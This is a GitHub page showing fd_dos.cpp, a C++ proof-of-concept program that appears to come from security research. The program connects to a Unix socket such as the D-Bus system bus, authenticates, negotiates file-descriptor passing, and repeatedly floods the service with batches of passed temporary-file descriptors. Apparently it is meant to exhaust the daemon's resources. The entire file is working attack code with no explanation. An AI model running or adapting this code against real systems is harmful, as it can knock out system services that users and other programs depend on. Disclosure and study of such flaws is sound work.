-
Notifications
You must be signed in to change notification settings - Fork 284
Expand file tree
/
Copy pathfd_dos.cpp
More file actions
145 lines (120 loc) · 3.26 KB
/
fd_dos.cpp
File metadata and controls
145 lines (120 loc) · 3.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/un.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
ssize_t sendwithfds(const int s) {
struct msghdr msg = {}; // Zero initialize.
struct cmsghdr *cmsg;
const size_t n_fds = 32;
int myfds[n_fds]; // Array of file descriptors
int *fdptr;
char iobuf[] = "BEGIN\r\n";
size_t i;
for (i = 0; i < n_fds; i++) {
myfds[i] = open("/tmp", O_TMPFILE | O_RDWR, S_IRUSR | S_IWUSR);
}
struct iovec io = {};
io.iov_base = iobuf;
io.iov_len = sizeof(iobuf);
union {
char buf[CMSG_SPACE(sizeof(myfds))];
struct cmsghdr align;
} u;
msg.msg_iov = &io;
msg.msg_iovlen = 1;
msg.msg_control = u.buf;
msg.msg_controllen = sizeof(u);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(myfds));
fdptr = (int *) CMSG_DATA(cmsg);
memcpy(&fdptr[0], &myfds[0], sizeof(myfds));
const ssize_t r = sendmsg(s, &msg, 0);
if (r < 0) {
const int err = errno;
fprintf(stderr, "sendmsg failed: %s\n", strerror(err));
}
for (i = 0; i < n_fds; i++) {
close(myfds[i]);
}
return r;
}
size_t write_string(char* buf, size_t pos, const char* str) {
const size_t len = strlen(str);
memcpy(&buf[pos], str, len);
return pos + len;
}
void sendbuf(const int fd, char* buf, size_t pos, size_t bufsize) {
const ssize_t n = write(fd, buf, pos);
printf("wrote %ld bytes\n", n);
memset(&buf[0], 0, bufsize);
const ssize_t r = read(fd, buf, bufsize);
printf("%ld: %s\n", r, buf);
printf("%x %x\n", buf[r-2], buf[r-1]);
}
int run(const uid_t uid, const char* filename) {
sockaddr_un address;
memset(&address, 0, sizeof(address));
address.sun_family = AF_UNIX;
strcpy(address.sun_path, filename);
const int fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) {
fprintf(stderr, "could not create socket\n");
return 1;
}
if (connect(fd, (sockaddr*)(&address), sizeof(address)) < 0) {
int err = errno;
fprintf(stderr, "could not connect to socket: %s\n", strerror(err));
return 1;
}
char buf[1024];
size_t pos = 0;
buf[pos++] = '\0';
pos = write_string(buf, pos, "AUTH EXTERNAL ");
char uidstr[16];
snprintf(uidstr, sizeof(uidstr), "%d", uid);
size_t n = strlen(uidstr);
for (size_t i = 0; i < n; i++) {
char tmp[4];
snprintf(tmp, sizeof(tmp), "%.2x", (int)uidstr[i]);
pos = write_string(buf, pos, tmp);
}
pos = write_string(buf, pos, "\r\n");
sendbuf(fd, buf, pos, sizeof(buf));
pos = write_string(buf, 0, "NEGOTIATE_UNIX_FD\r\n");
sendbuf(fd, buf, pos, sizeof(buf));
pos = write_string(buf, 0, "BEGIN\r\n");
if (write(fd, buf, pos) < 0) {
fprintf(stderr, "send failed");
}
sendwithfds(fd);
close(fd);
return 0;
}
int main(int argc, char* argv[]) {
const char* progname = argc > 0 ? argv[0] : "a.out";
if (argc < 2) {
fprintf(
stderr,
"usage: %s <unix socket path>\n"
"example: %s /var/run/dbus/system_bus_socket\n",
progname,
progname
);
return 1;
}
uid_t uid = getuid();
const char* filename = argv[1];
for (size_t i = 0; i < 100; i++) {
if (run(uid, filename) != 0) {
return 1;
}
}
return 0;
}